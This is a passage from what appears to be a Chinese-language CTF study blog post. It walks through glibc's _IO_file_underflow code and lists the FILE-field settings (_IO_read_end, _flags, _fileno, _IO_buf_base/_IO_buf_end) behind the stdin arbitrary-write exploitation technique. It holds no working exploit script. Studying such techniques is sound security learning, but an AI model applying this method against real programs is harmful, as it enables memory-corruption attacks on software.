= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
/* _IO_SYSREAD == vtable->_IO_file_read,程序最终会调用read */
/* 执行read读取数据到fp->_IO_buf_base,读入大小为输入缓冲区的大小 */
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count; /* 更新输入缓冲区的大小 */
if (count == 0)
return EOF;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

将上述条件综合表述为:

  • 设置 _IO_read_end 等于 _IO_read_ptr
  • 设置 _flag &~ _IO_NO_READS_flag &~ 0x4
  • 设置 _fileno 为 0
  • 设置 _IO_buf_basewrite_start_IO_buf_endwrite_end 且使得 _IO_buf_end-_IO_buf_base 大于fread要读的数据

stdin 任意写漏洞的关键就是这几步:

1
2
3
4
5
6
7
8
9
10
11
12
  if (fp->_IO_read_ptr < fp->_IO_read_end) /* 利用的前提 */
return *(unsigned char *) fp->_IO_read_ptr;

........

fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
  • _IO_read_ptr >= _IO_read_end 时,程序就会执行系统调用
  • 然后各种指针都会被更新为 _IO_buf_base
  • 最后执行系统调用向 _IO_buf_base 缓冲区输入数据

stdin 任意写漏洞,其实就是通过改写 _IO_buf_base 来控制缓冲区的位置,进而控制键盘输入数据的位置(键盘输入的数据先放入缓冲区,再复制到目标位置)

通常程序不能直接在 _IO_buf_base 中写入数据(如果可以直接写入,那不就可以打hook了吗),而是可以对其进行覆盖,小幅度调节它的位置,然后利用新读入的数据去覆盖 _IO_buf_end 等其他字段,进而控制程序


讲起来有点抽象,其实我看 raycp 师傅的博客时就不是很明白,但去把博客上附带的那道例题复现了之后就清晰了不少